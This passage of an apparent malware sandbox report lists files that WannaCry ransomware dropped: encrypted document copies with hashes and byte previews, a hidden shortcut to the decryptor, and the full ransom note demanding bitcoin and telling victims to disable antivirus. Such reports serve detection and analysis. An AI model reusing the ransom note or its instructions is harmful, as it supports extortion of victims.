                                      File Type:data
                                      Category:dropped
                                      Size (bytes):1026
                                      Entropy (8bit):7.787446111443531
                                      Encrypted:false
                                      SSDEEP:12:U/V7M6B7nwVHzMGOAiUSlOW6aSLfp6xW975csoYUL+DccGKWMeU4feNLCs8HqTD1:0Vo6V6TcI7mso5L+DxGK1a6LCuwFS
                                      MD5:D8B2296AF6A2EC4A553047BCF5E88C32
                                      SHA1:57BFE87AA64D1710558FEBCEF3FBF4ECAE68C8C9
                                      SHA-256:158E8E46D470FAAC410036CE359B09133EA1B982F064F28DBA9401F370D051F0
                                      SHA-512:4D4EF385731E8DCF2844B383A3E07861EEBE1DC4C6AF1E2C0C50C9AB47E126FCD388D5B5E7436A3369AEF3419FF755260143374A866538363210810A5F5E64E0
                                      Malicious:false
                                      Reputation:unknown
                                      Preview:..Hh...|O..j..Y..c...k.f.......2...{......1..q.sLM....m.........4..D...u......A>.....6Rf..a..h.3A.P......n|G.q..F..'-4=.U/....a.M#/|..{.bNh:.</..'b.e."..|.....C.@.....Ui].............{.V..|...xy$$.w(......mC.G",..1....o.!.L^{0.a.?.C.\".%..H.....SU.<....Q.-.8......C`..J...(..V-.l..F.t ..'Ml.SU.N<P!^..V.M...........F.G.M..=u..4I(u.M..;.:V.e......x..V'.O...t2=F.K.W.{.PE....".2....ud..{%.Q....V8...7..F.h)'..z.$...w...8.L`\@\....!+....\....x.i..o.....<....T...N...wN=...Y...g..@...).P.IZ.......pA1...e..}.o..!\Gu.F./yC..^>D`..z...E....?..o.....H..7P.....f..!..r..n|........Rr....o3..@tJ.:&5_.E.F(...7..h..5+=......../-.d..3....r."<.f.t...>q.'..6...J...Zp..3S....Z.Q.`..n........?e0..R.Z.EeB.(#.p..................v..l.>......ACj...G.L.7l..0..q.pQY....N..fN.:>O...u..7...=.%'......h...i...!.N.s^....15...d......s...Mv...a.....Z..Z......"....l;."....>..sYw;A.].M.kh.].i@.sS.@t.d`..On..b...99.Y....%...37V._.N.m.o..L]o...."....!......j.'$..*Z.n.P...^...

                                      C:\Users\user\Documents\VAMYDFPUND.jpg.WNCRY (copy)

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:data
                                      Category:dropped
                                      Size (bytes):1320
                                      Entropy (8bit):7.824396580167092
                                      Encrypted:false
                                      SSDEEP:24:bkaX5yEEga9Nh/ikjMvTQbOkXtorTfrWbblrB1WBTBAuSkp7:bky5y5Nh/njMrQpXt6MbVWlN
                                      MD5:D998D7258568D300EEEAEA7A8ECCD6E5
                                      SHA1:A8CCB627853D2547428E4974B5A833ECE51815DA
                                      SHA-256:C5CA0D9DA0ECCE66B551A5A0CCFDDEA94EC07A7F388BE628FEEC70071910A745
                                      SHA-512:D41EBFA2C8BBE4D54A53E6B9B8DCA587172A656CAF950E6D6AA0F42DFFF77A56E1F93A369B32FF52192144A0973771B354F58D1856BE812FACE0422389956E78
                                      Malicious:false
                                      Reputation:unknown
                                      Preview:WANACRY!........[.T.s.Nb..%X.c.!ks.E.~..f...b.r.c......LN...f.nqv.;Ug3.a.0.P...(..%}.k...f...~.(F#(.......3>A......#.+Z..f"&..zy..v.q..Aw.."~..{....2!.k.....).....nP7..:.S.r?.e@.).g...+.yHf...4......./V"...tdx..p...!.p.Qp>|.u..l.!L...{.;v..,0!.....'.skM...............i..1..W......T.y."...0.{.8....d...PS....f....?.V..X(.M._......P.X.p.l~....e.#.4z....J..^7..t.Os|.|..q#D+.6...H..b...;..aA.|..........0..I[.A6...D).Wx.y.p..s......g.&.[K...EZ.-.f..Y}....X|Y.m..U6;.(Hua.!Pk|.\..Q..E4/i.M-.......E...].;.....1N.qCuu......A\...z..%....I.2d....Z.4N....>..........9c.......W8...3..;.=....H.P.......@..Ey..dm^..w..1..^&Z.\,{.eE..C\v..zt.........uj[..fM.y~...(a.....O-...C8b.+..^9......Nv.t...TlB.v.@..h.4.3.{@i.[.P..N_t..`..../.L</.bY.....N........t..&!|g.C*-7.Y.6..B.8P.*..N.0...."?..;X/...y#.#....1o....^H.k.8Z..|SY........1..'6.a\%..1S..C...].|.sbZ..}mZ...w..|../!.h...hZ.Y0....c.8..\y...hc.Lx.....E.[..Zd.0.a..../4n"...b.B...`...........W.C5UQ:i9..bRM.U|.S..GG.

                                      C:\Users\user\Documents\VAMYDFPUND.jpg.WNCRYT

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:data
                                      Category:dropped
                                      Size (bytes):1320
                                      Entropy (8bit):7.824396580167092
                                      Encrypted:false
                                      SSDEEP:24:bkaX5yEEga9Nh/ikjMvTQbOkXtorTfrWbblrB1WBTBAuSkp7:bky5y5Nh/njMrQpXt6MbVWlN
                                      MD5:D998D7258568D300EEEAEA7A8ECCD6E5
                                      SHA1:A8CCB627853D2547428E4974B5A833ECE51815DA
                                      SHA-256:C5CA0D9DA0ECCE66B551A5A0CCFDDEA94EC07A7F388BE628FEEC70071910A745
                                      SHA-512:D41EBFA2C8BBE4D54A53E6B9B8DCA587172A656CAF950E6D6AA0F42DFFF77A56E1F93A369B32FF52192144A0973771B354F58D1856BE812FACE0422389956E78
                                      Malicious:false
                                      Reputation:unknown
                                      Preview:WANACRY!........[.T.s.Nb..%X.c.!ks.E.~..f...b.r.c......LN...f.nqv.;Ug3.a.0.P...(..%}.k...f...~.(F#(.......3>A......#.+Z..f"&..zy..v.q..Aw.."~..{....2!.k.....).....nP7..:.S.r?.e@.).g...+.yHf...4......./V"...tdx..p...!.p.Qp>|.u..l.!L...{.;v..,0!.....'.skM...............i..1..W......T.y."...0.{.8....d...PS....f....?.V..X(.M._......P.X.p.l~....e.#.4z....J..^7..t.Os|.|..q#D+.6...H..b...;..aA.|..........0..I[.A6...D).Wx.y.p..s......g.&.[K...EZ.-.f..Y}....X|Y.m..U6;.(Hua.!Pk|.\..Q..E4/i.M-.......E...].;.....1N.qCuu......A\...z..%....I.2d....Z.4N....>..........9c.......W8...3..;.=....H.P.......@..Ey..dm^..w..1..^&Z.\,{.eE..C\v..zt.........uj[..fM.y~...(a.....O-...C8b.+..^9......Nv.t...TlB.v.@..h.4.3.{@i.[.P..N_t..`..../.L</.bY.....N........t..&!|g.C*-7.Y.6..B.8P.*..N.0...."?..;X/...y#.#....1o....^H.k.8Z..|SY........1..'6.a\%..1S..C...].|.sbZ..}mZ...w..|../!.h...hZ.Y0....c.8..\y...hc.Lx.....E.[..Zd.0.a..../4n"...b.B...`...........W.C5UQ:i9..bRM.U|.S..GG.

                                      C:\Users\user\Documents\VAMYDFPUND.xlsx

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:data
                                      Category:dropped
                                      Size (bytes):1026
                                      Entropy (8bit):7.8460897455902066
                                      Encrypted:false
                                      SSDEEP:12:Oji0kozhLkOJjN5WPNjf43RVN324dDqrD9cUEC90J12auU625lGHyYr0/Y98M0Wg:gkozW0jGhy39UEnJ0auU9KH+/kV0WX2n
                                      MD5:CBFBEB45F432F19688B601C2567EB71A
                                      SHA1:0594E911E3614E97389B808B072A264A94F4EC0F
                                      SHA-256:6897962C67C0A6E5C9C62CCB605D1058DB9E8C47F82D7348A34BBCCC31C9E304
                                      SHA-512:5E3926B8ECCA2DD4FB0E2D3644A1F0DC84AD86DB8A3FCEACD02522F1B7227C9531E3291C2184EFFDDBF76804D1EFF5B11DD0396EC1F273ED65B6E3AFA90DA39E
                                      Malicious:false
                                      Reputation:unknown
                                      Preview:..lK...^...L..T.......4..4...H8..w....a.......f.A.>..C...../.,.2....q.D.U.C ..#f.{.....r...)..z.g.pS..&..XTJa..c..z...?..%(..<V...?L...l..B....1.M.0d.`...D.9z..x.k.*XS...Ke.h.S.......<#.,.(..9..\.....Sh..CKg...Q.b.2..x.r.[.-...B...>.+ .'..r.X.......f+P.f...&4...$.@......#~......K......5.1g.b#y..H.....|..2w.6zj..k^0...0.....!c....T.{3..c.((.Z._b..Or...x.....v6.y:9\C..3.Z..........]..n.m.z.....=.y.....!..97..c._..2.iv..w.....)Zbt....{..E..P. 0...A.r...^..............?...lmf.7.L`.p..p.;>.\...S.#.0H....T.=%.=c....7..e.:.Q..%g._-..n.a.4.6..."OP.....}...u.UWQ..`.Vn.-~..V..wU|.'.14..x...WY.D..=...S.*[{....I..7.3..1P..........2.e5....... sRA.].....I\..=..u..f.+..Hh.+H,...H......T....J...p.._,.1..d/.2....$.. r.M..^..,....dJ...+..S."X.vJ.....P.'Q#.........C.=.W)#..BM.4........ek4...~....b..c..i..qt........$%&cU.wI.....w_......?...uI....!.m"B.MT...[N.....Q..)........J.2....E....g.....h..}.m.....@`..\..I..:..Q..6..N....K.... G^.w.

                                      C:\Users\user\Documents\VAMYDFPUND.xlsx.WNCRY (copy)

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:data
                                      Category:dropped
                                      Size (bytes):1320
                                      Entropy (8bit):7.851802840115136
                                      Encrypted:false
                                      SSDEEP:24:bkGDU3lBQGBR7EfIYE5BhjwYmdF8/QD5CGjVi04vJ8WFCMCbQeYdthZ39l0c:bkWUR6QBZwYp/Q1T004h8WFCMDeYdthX
                                      MD5:8E2282C275D46EA7F882B60306FD90CD
                                      SHA1:C4FA6951DF1AF754D702C687787852A660482C0F
                                      SHA-256:AE6572081685D2BC325D3985D9A65C134285EE6B33BFAC95C450ED1616F2EFEF
                                      SHA-512:262D1E621AC1681AEB95A6839DE08B8DC5188D761BB8867B9F53D1C7AAD886C9B34F473EBC488B42ABB7505629798567980BDDE58D57F30A887C82CFCE9766D3
                                      Malicious:false
                                      Reputation:unknown
                                      Preview:WANACRY!.......,..@.zGe*....x^)QA..a.<O.oP@.un.~.ah....t.&.;/H3.....mgoZ.s=-...g. ~...0j..].."2+.C..{|....>L.uC\I...Nu.J...(7..ZR._............<+j.>.pL.`.....a.<Hw;......;........k....zy..J!.....((b.A0.. V{.+..V...s6...].g.m.i./...._Vi.v.q.....Dc.<0.Q.SX.56....T...............".Y..>..@.q...mv..;}...y......q.'.x.....5\.=.|X.<0.@..*.K...O....BSLU...{.x...*...|..jU.#.6.... ....<.....x.\.F(...:.w..X.'X..d]f..r.D..2b.N.w......&..O./....-.\.g...b(5Vn.|...`.S..Es....8yC.....'.....,......TiiD\.s...vY.z..qa#T.......,...vd2(A.......Q..........e.sfQN..Y.>...mN.y....Z%.}l.%...N._..s..\.}.QM.F.z..i".G../Q...1.5....0.UM....../.E.x.Ni......{%....M...-..d.....'H...y..o..j.w..U.r>..H..(.A^3.........66P2...k...D_ ..{....y7...e.....o....lZ.A3..n..d...]SJcIz./.(7Y..........Y.166.......|......)128.#....m.|...@......6..B.bI.X.(..A..%.{.>.w#W-...N.. *0..'.$...............I..N...7..:l.....R...ur9fD.:....Wv.~.`+t?.^/...|}?...g.I..;.].8.........8..O.B...u

                                      C:\Users\user\Documents\VAMYDFPUND.xlsx.WNCRYT

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:data
                                      Category:dropped
                                      Size (bytes):1320
                                      Entropy (8bit):7.851802840115136
                                      Encrypted:false
                                      SSDEEP:24:bkGDU3lBQGBR7EfIYE5BhjwYmdF8/QD5CGjVi04vJ8WFCMCbQeYdthZ39l0c:bkWUR6QBZwYp/Q1T004h8WFCMDeYdthX
                                      MD5:8E2282C275D46EA7F882B60306FD90CD
                                      SHA1:C4FA6951DF1AF754D702C687787852A660482C0F
                                      SHA-256:AE6572081685D2BC325D3985D9A65C134285EE6B33BFAC95C450ED1616F2EFEF
                                      SHA-512:262D1E621AC1681AEB95A6839DE08B8DC5188D761BB8867B9F53D1C7AAD886C9B34F473EBC488B42ABB7505629798567980BDDE58D57F30A887C82CFCE9766D3
                                      Malicious:false
                                      Reputation:unknown
                                      Preview:WANACRY!.......,..@.zGe*....x^)QA..a.<O.oP@.un.~.ah....t.&.;/H3.....mgoZ.s=-...g. ~...0j..].."2+.C..{|....>L.uC\I...Nu.J...(7..ZR._............<+j.>.pL.`.....a.<Hw;......;........k....zy..J!.....((b.A0.. V{.+..V...s6...].g.m.i./...._Vi.v.q.....Dc.<0.Q.SX.56....T...............".Y..>..@.q...mv..;}...y......q.'.x.....5\.=.|X.<0.@..*.K...O....BSLU...{.x...*...|..jU.#.6.... ....<.....x.\.F(...:.w..X.'X..d]f..r.D..2b.N.w......&..O./....-.\.g...b(5Vn.|...`.S..Es....8yC.....'.....,......TiiD\.s...vY.z..qa#T.......,...vd2(A.......Q..........e.sfQN..Y.>...mN.y....Z%.}l.%...N._..s..\.}.QM.F.z..i".G../Q...1.5....0.UM....../.E.x.Ni......{%....M...-..d.....'H...y..o..j.w..U.r>..H..(.A^3.........66P2...k...D_ ..{....y7...e.....o....lZ.A3..n..d...]SJcIz./.(7Y..........Y.166.......|......)128.#....m.|...@......6..B.bI.X.(..A..%.{.>.w#W-...N.. *0..'.$...............I..N...7..:l.....R...ur9fD.:....Wv.~.`+t?.^/...|}?...g.I..;.].8.........8..O.B...u

                                      C:\Users\user\Documents\VAMYDFPUND\@Please_Read_Me@.txt

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:ASCII text, with CRLF line terminators
                                      Category:dropped
                                      Size (bytes):933
                                      Entropy (8bit):4.708686542546707
                                      Encrypted:false
                                      SSDEEP:24:ptrPzDVR5Gi3OzGm0EigS1xbnrRQhbrW8PNAi0eEprY+Ai75wRZcet:DZD36W3yhvWmMo+S
                                      MD5:F97D2E6F8D820DBD3B66F21137DE4F09
                                      SHA1:596799B75B5D60AA9CD45646F68E9C0BD06DF252
                                      SHA-256:0E5ECE918132A2B1A190906E74BECB8E4CED36EEC9F9D1C70F5DA72AC4C6B92A
                                      SHA-512:EFDA21D83464A6A32FDEEF93152FFD32A648130754FDD3635F7FF61CC1664F7FC050900F0F871B0DDD3A3846222BF62AB5DF8EED42610A76BE66FFF5F7B4C4C0
                                      Malicious:false
                                      Reputation:unknown
                                      Preview:Q: What's wrong with my files?....A: Ooops, your important files are encrypted. It means you will not be able to access them anymore until they are decrypted... If you follow our instructions, we guarantee that you can decrypt all your files quickly and safely!.. Let's start decrypting!....Q: What do I do?....A: First, you need to pay service fees for the decryption... Please send $300 worth of bitcoin to this bitcoin address: 115p7UMMngoj1pMvkpHijcRdfJNXj6LrLn.... Next, please find an application file named "@WanaDecryptor@.exe". It is the decrypt software... Run and follow the instructions! (You may need to disable your antivirus for a while.).. ..Q: How can I trust?....A: Don't worry about decryption... We will decrypt your files surely because nobody will trust us if we cheat users... ....* If you need our assistance, send a message by clicking <Contact Us> on the decryptor window....

                                      C:\Users\user\Documents\VAMYDFPUND\@WanaDecryptor@.exe.lnk

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Archive, ctime=Thu Jul 25 21:20:31 2024, mtime=Thu Jul 25 21:20:31 2024, atime=Fri May 12 05:22:56 2017, length=245760, window=hide
                                      Category:dropped
                                      Size (bytes):577
                                      Entropy (8bit):5.134947904596006
                                      Encrypted:false
                                      SSDEEP:12:8x8ypzYNbfICth9wXoUoBjAQob8w2n6nlmCt:8x8B18iAl8sm
                                      MD5:59B6882586C7F42B0BA0EFED3935138A
                                      SHA1:18728D8CE887741D47D544B076ABD2326A55CCEA
                                      SHA-256:46ED06AF448385476C6F90D4A7065F86A637AD3BF59D47E513B4530960895A70
                                      SHA-512:5DCBADB58F8AF16BC86DEC6EA6FD94125E164D079334DB65FEF6BB10CD0E00895A62E6F7FFCF00D6CE0DAB9DF7A49481ADDD5D388BF492D9A2636539C9E769B4
                                      Malicious:true
                                      Reputation:unknown
                                      Preview:L..................F.... ...'Nv.....'Nv......`.1.................................P.O. .:i.....+00.:...:..,.LB.)...A&...&.......`._....5.......5........t.2......J.2 .@WANAD~1.EXE..X.......X...X................................@.W.a.n.a.D.e.c.r.y.p.t.o.r.@...e.x.e.......Z...............-.......Y.............|......C:\Users\user\Desktop\@WanaDecryptor@.exe......\.@.W.a.n.a.D.e.c.r.y.p.t.o.r.@...e.x.e.`.......X.......210979..............n4UB.. .|..oV.M..J...9.P..#.....n4UB.. .|..oV.M..J...9.P..#.E.......9...1SPS..mD..pH.H@..=x.....h....H......c-dSA....n.............

                                      C:\Users\user\Documents\VAMYDFPUND\GRXZDKKVDB.mp3

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:data
                                      Category:dropped
                                      Size (bytes):1026
                                      Entropy (8bit):7.812602627676315
                                      Encrypted:false
                                      SSDEEP:24:ITzjlTqUY0AzcjWX+R5FEwVs+qdHmz/vMkPJc:U9qOAIjPdVoHE/xc
                                      MD5:CBBBB1A911096CC6CC8F7557259C39C0
                                      SHA1:F7D03E0E3BF315422FF95C369B5F9D2B54A8F7CF
                                      SHA-256:E43274728B2C184B200DFD0F8FFD021173ABF890767BD7ED9D4BE919176AB447
                                      SHA-512:EDA55CE0445A04F714F9B5E02AA8FDDC0A87DE9CF9E68ECEE8F0EEA6F660243563FA7A93D81AC808FD2AB59902DBC8565685E7991A7C3EAA9F64443E218A56FE
                                      Malicious:false
                                      Reputation:unknown
                                      Preview:..n....`3. )#.1..1......r..t.9..T-.6jV.T.0..Q.F.....8..~~.}{...5.`@A.........._E_..%...........!....C":.n..t. ~`........j4d. ..].O~..=..C..6.T8.+vr.^..$..?^:..il...$.I..G....0$._..T0Y..D!.....,.(.Q.f.V.Ds~.......3<..1...F.M.I.m...J...7.t..8...*..Z../... .vU........oB5M=r.8.../cviow....<.-...i.u...<G..n...s..=....#.L\.V.U.b..-Fh....m.a....5R.....I.3O...rD=..+:....8.y_.Y.'a.w.C*~r*....B...}.si.>....y.2..Q...d..> ...9.9.BW.....hU....W.P.d.x....w..V.wpgM.e..6.x.>.H.M.+..k...........0.e.s..T=9sU..7..i..O."^:.....3..w....K......0?Z...2.i.h5."...Fh..a..}1......+......j.'..c......:.u<.3.....3(..U.....T...#...HO..j..(.!P.J.GT^Z.;....&FD.IU'.C.L.*...p.r.?.l.tq.....". ..r.;..d..1:u....{j..P.s.`.o...#...FR.......s.."...Gn....E.7...z4.W....?.....V......01h......[#.vM.Xl .h~[.G..d..4]"h[......W.l......}....%..U.U...j.E.SD.kb..s..3.".k.)........9b....w.C}.....=.p.fb.u.b7..]....r{:tV..l..|...Ba8y......q...l.y#.fP.o5..>7%h......E-........%..V..h.

                                      C:\Users\user\Documents\VAMYDFPUND\GRXZDKKVDB.mp3.WNCRY (copy)

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:data
                                      Category:dropped
                                      Size (bytes):1320
                                      Entropy (8bit):7.839830040898837
                                      Encrypted:false
                                      SSDEEP:24:bkK/p+eeckCxCrriMzny5yd2jehsBLKLP8aEvEqS18eGgoGQ0Hg:bkK/UBckG2mnDShN4/vfS80A
                                      MD5:F47FC9E1DE778A45FD685DC77BFB3F34
                                      SHA1:0D1373C89434EAD9B8EB7438998C7020D33695B7
                                      SHA-256:299D6527F68DAEAF29EF9078339574376C89568439EB25B457A5E5022FBD7D2D
                                      SHA-512:343DB7FD0DD2A2C7F03DB89619DAB36CBAE12248D8E530FFCFB9546BED7604D434687771E6418F701811AE29F33C4F20DB1F9E6191CEF52B74A6982D02E4A3D9
                                      Malicious:false
                                      Reputation:unknown
                                      Preview:WANACRY!......_n.%8..m...$.h..U..L...<.X[.Gb......m.X.(.I.j......#^.^l..9.4.<<.Vv..<...K..C..!>_..I%...Z@.M..a.JyH..b%.2.........K.D|.z_.......2O.c..2M.3....Dc<....[......)I.m...!..3a...xl.......t5...Q...7....:.._.. ......'Xe.S|.r.jG.6......pR"../..\.*.DV............d...I.... ....j....;.5....$...........?..f.z... !.5..r2...Hf.U!...`{.]S......D.@~........>..r\......{e.Q.kNc.&.S...?.'-..` .........3.m.t..R....]"..G..s0;..{..............F.D.H8K.V.[..[.&.u..L.F..L{.9...Iz...0.J...*.m.s....l....[.x......q..F.a`Qw.+t.i.Gm.....f..\..1.jj..=UC...Y....nK....s...}...sg.0..8.......$....i.k....O.J#.a'?cu...J.?........i.%2....q;..(.x.A[... ..FkJ...*......b.tH...EX..&ku.'JB.:.GuV.yj.....V..v....5..e.W../...Xt..X..@..L|.,.........Z.D_...v.v....4p..Y..y.......u.. J....x...*H.....*....8}..p..c..._.!{..Z.4....T.*.Y..i}G...V.wGw.8G..,.5.[..Cr.u~...z..:..W@.D^[.Q.".....K.h. ..7....]....C.........C...U.j......`K....}UH..].of.4..M.1X.$W\...-s>$q.......^.w

                                      C:\Users\user\Documents\VAMYDFPUND\GRXZDKKVDB.mp3.WNCRYT

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:data
                                      Category:dropped
                                      Size (bytes):1320
                                      Entropy (8bit):7.839830040898837
                                      Encrypted:false
                                      SSDEEP:24:bkK/p+eeckCxCrriMzny5yd2jehsBLKLP8aEvEqS18eGgoGQ0Hg:bkK/UBckG2mnDShN4/vfS80A
                                      MD5:F47FC9E1DE778A45FD685DC77BFB3F34
                                      SHA1:0D1373C89434EAD9B8EB7438998C7020D33695B7
                                      SHA-256:299D6527F68DAEAF29EF9078339574376C89568439EB25B457A5E5022FBD7D2D
                                      SHA-512:343DB7FD0DD2A2C7F03DB89619DAB36CBAE12248D8E530FFCFB9546BED7604D434687771E6418F701811AE29F33C4F20DB1F9E6191CEF52B74A6982D02E4A3D9
                                      Malicious:false
                                      Reputation:unknown
                                      Preview:WANACRY!......_n.%8..m...$.h..U..L...<.X[.Gb......m.X.(.I.j......#^.^l..9.4.<<.Vv..<...K..C..!>_..I%...Z@.M..a.JyH..b%.2.........K.D|.z_.......2O.c..2M.3....Dc<....[......)I.m...!..3a...xl.......t5...Q...7....:.._.. ......'Xe.S|.r.jG.6......pR"../..\.*.DV............d...I.... ....j....;.5....$...........?..f.z... !.5..r2...Hf.U!...`{.]S......D.@~........>..r\......{e.Q.kNc.&.S...?.'-..` .........3.m.t..R....]"..G..s0;..{..............F.D.H8K.V.[..[.&.u..L.F..L{.9...Iz...0.J...*.m.s....l....[.x......q..F.a`Qw.+t.i.Gm.....f..\..1.jj..=UC...Y....nK....s...}...sg.0..8.......$....i.k....O.J#.a'?cu...J.?........i.%2....q;..(.x.A[... ..FkJ...*......b.tH...EX..&ku.'JB.:.GuV.yj.....V..v....5..e.W../...Xt..X..@..L|.,.........Z.D_...v.v....4p..Y..y.......u.. J....x...*H.....*....8}..p..c..._.!{..Z.4....T.*.Y..i}G...V.wGw.8G..,.5.[..Cr.u~...z..:..W@.D^[.Q.".....K.h. ..7....]....C.........C...U.j......`K....}UH..].of.4..M.1X.$W\...-s>$q.......^.w

                                      C:\Users\user\Documents\VAMYDFPUND\PWCCAWLGRE.jpg

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:data
                                      Category:dropped
                                      Size (bytes):1026
                                      Entropy (8bit):7.809796692277115
                                      Encrypted:false
                                      SSDEEP:24:fEA+xJk43qdIYHftTEVWr/vjJWANYH0JT0S5N3p2jJPElF1WsPAzHwgL:cnJ/qDHlTWy3j3YCA832jJ8lFLPAMU
                                      MD5:9BF47016AEF9264C97C5472AEACC4044
                                      SHA1:C2D44A7A5331726F0EA94B1A01E73EF0BC1D0A8C
                                      SHA-256:44B6A1143F36D4FA28B29F1FB35A27AF36B9298E651AFB615D544E6EE1B4405B
                                      SHA-512:8C784524062A33301521FB8E6107EC041FE3E437FCC16FE7AB6E2AA44F69726B34B2564563554D9CB128EDC97E4CF8A4D4303A0D16D71663D41AF0AAAF830D2F
                                      Malicious:false
                                      Reputation:unknown
                                      Preview:ec.f.^.B...x9.}.3..^&.E6..8M..*.-@..>..'>.S.Of......PDp.).Y..m......o....L...AV...r+...... Dht5.7...h...h$.!,....V#.$........S..w......o#^z....^[-1.U..O....+.k....G...J...b........;....h~.r.......\*...]....?....dO....".~..1d..06.....n........'~!.GO....]"N.h+..v.B7...8.z.x....l.^.e...!.}.....}$.1...|.Jp....MG..>....\..Z.X.yb..7,v........a6..cjV.O....i..j..n....]...../%.....A;.q4.....;t.ll.&.....6....*(d-GQ......H......X..f.D.y-.s.s.[......=..(....j.x3/..E[_u..~.<.y.<'T.=..:x..s...;.S.N........W.lA.6]..:.....@......Y.T..Y..pos...GgB3M.....!<...b....T..;.&wZ..!.;..[....g......3.7.RY.h...:..'..B4Z.a..hK"X.....A............[IY.Z.?.z....8|...f..(....|..@..V.bj..~...3Nj......7D...m.......09l....Y<0.......5....*...|.]..V.X..c.<..!.q/<..[....,2......hg.....f.EW.."=.....=&e...F....p..f..Y....J.r%.[..@..2t}..`tq.[...g.G....U..2..*.<H..*H.1.$..-n...I...7..s.e.n.U.4^.J.a.z...)..e.....,Kw...mW.P........O.K.h.w....B......A.H..U.Ht......N.N..f

                                      C:\Users\user\Documents\VAMYDFPUND\PWCCAWLGRE.jpg.WNCRY (copy)

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:data
                                      Category:dropped
                                      Size (bytes):1320
                                      Entropy (8bit):7.852819266116178
                                      Encrypted:false
                                      SSDEEP:24:bk3j7cOSnA5EWP5u7kzEr7lfVW2qX0mZnJIbSXZGqRXS/D7V00YoUIRhz:bk3j7cOFZc7kzEr7l8xZSOpDRyyoUshz
                                      MD5:B764E575D54B02C9FC400C5AC4BB6A97
                                      SHA1:83F02E94D46284A62A97C82FB10DFC416CA8FDE2
                                      SHA-256:F50DD5EE138653CC82FAA6AA3B4327A940415D61A15AFC740C4910759D952EAF
                                      SHA-512:134C06DD6D9869E6008A3068F0C5C8CBE22B386DD8A554E53F01223388C0113F774521643F64CB4CC9DF5929DBECD11BF16D5E1045AD5C69B9B4627BDAD75962
                                      Malicious:false
                                      Reputation:unknown
                                      Preview:WANACRY!......b<ea. s.=.}H..j....N6..+H...........0....I$.....2..[O...>wd<>_.....<~S.......vYUq.E...fd.`.d..=@.....,.B_..a...W....l..Zv......4 `..>..e.......;..."..r.Y......TmD.....w..RyUcc+l.:PdFN"uK-...+.$R.>*.F.40Q.K.J".d..b.m.".....j.p....jJ.C.x.f.....................BU...ii.\....<..L.l..C..o49EW?....w.b.*^f...hM.tg.3....1..._,J........@.y~x.2\.a..>..._.f.z.....(.....o.mD..r.:6..e.....jq.....8...;.|.?..g..b.q!.l..0oq.?.x!..%...Gy..l....Yt..q?..../[5/.u.,g.......@..y.....(.......K..u....[`..l$..Gt-.G.CT..t....5....b`.n\l...(gP.*3.B.r...Z.jv...i...z.+..R.'...&yi....O...C.R.=aK.%..=5...*Fx..E..-....t1%S#.^..^..9.a..W..OC..=..;B.OJ.1.%...F.t.s.#........4.ky..(..(.2.6@.w..J..8.M....Y.H1$.+.veE.....aYT.@...>...../R...8R.W..]...iv....{...)&.....%?.<R.I..d.~.HS[.Z...P..<....u..B=.T.;....7<7.amp..jS=n.a...k!.NCNi..O.VbN......3..h"vTz8^........4...g.Kj.L"J.x#|.f....81.n.?....,NG......h..4.%C#ZX..+\75K..>T!*.^,X._Qc.2.9Y...S.^...n...v.n.P1o.`....s.4.tR

                                      C:\Users\user\Documents\VAMYDFPUND\PWCCAWLGRE.jpg.WNCRYT

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:data
                                      Category:dropped
                                      Size (bytes):1320
                                      Entropy (8bit):7.852819266116178
                                      Encrypted:false
                                      SSDEEP:24:bk3j7cOSnA5EWP5u7kzEr7lfVW2qX0mZnJIbSXZGqRXS/D7V00YoUIRhz:bk3j7cOFZc7kzEr7l8xZSOpDRyyoUshz
                                      MD5:B764E575D54B02C9FC400C5AC4BB6A97
                                      SHA1:83F02E94D46284A62A97C82FB10DFC416CA8FDE2
                                      SHA-256:F50DD5EE138653CC82FAA6AA3B4327A940415D61A15AFC740C4910759D952EAF
                                      SHA-512:134C06DD6D9869E6008A3068F0C5C8CBE22B386DD8A554E53F01223388C0113F774521643F64CB4CC9DF5929DBECD11BF16D5E1045AD5C69B9B4627BDAD75962
                                      Malicious:false
                                      Reputation:unknown
                                      Preview:WANACRY!......b<ea. s.=.}H..j....N6..+H...........0....I$.....2..[O...>wd<>_.....<~S.......vYUq.E...fd.`.d..=@.....,.B_..a...W....l..Zv......4 `..>..e.......;..."..r.Y......TmD.....w..RyUcc+l.:PdFN"uK-...+.$R.>*.F.40Q.K.J".d..b.m.".....j.p....jJ.C.x.f.....................BU...ii.\....<..L.l..C..o49EW?....w.b.*^f...hM.tg.3....1..._,J........@.y~x.2\.a..>..._.f.z.....(.....o.mD..r.:6..e.....jq.....8...;.|.?..g..b.q!.l..0oq.?.x!..%...Gy..l....Yt..q?..../[5/.u.,g.......@..y.....(.......K..u....[`..l$..Gt-.G.CT..t....5....b`.n\l...(gP.*3.B.r...Z.jv...i...z.+..R.'...&yi....O...C.R.=aK.%..=5...*Fx..E..-....t1%S#.^..^..9.a..W..OC..=..;B.OJ.1.%...F.t.s.#........4.ky..(..(.2.6@.w..J..8.M....Y.H1$.+.veE.....aYT.@...>...../R...8R.W..]...iv....{...)&.....%?.<R.I..d.~.HS[.Z...P..<....u..B=.T.;....7<7.amp..jS=n.a...k!.NCNi..O.VbN......3..h"vTz8^........4...g.Kj.L"J.x#|.f....81.n.?....,NG......h..4.%C#ZX..+\75K..>T!*.^,X._Qc.2.9Y...S.^...n...v.n.P1o.`....s.4.tR

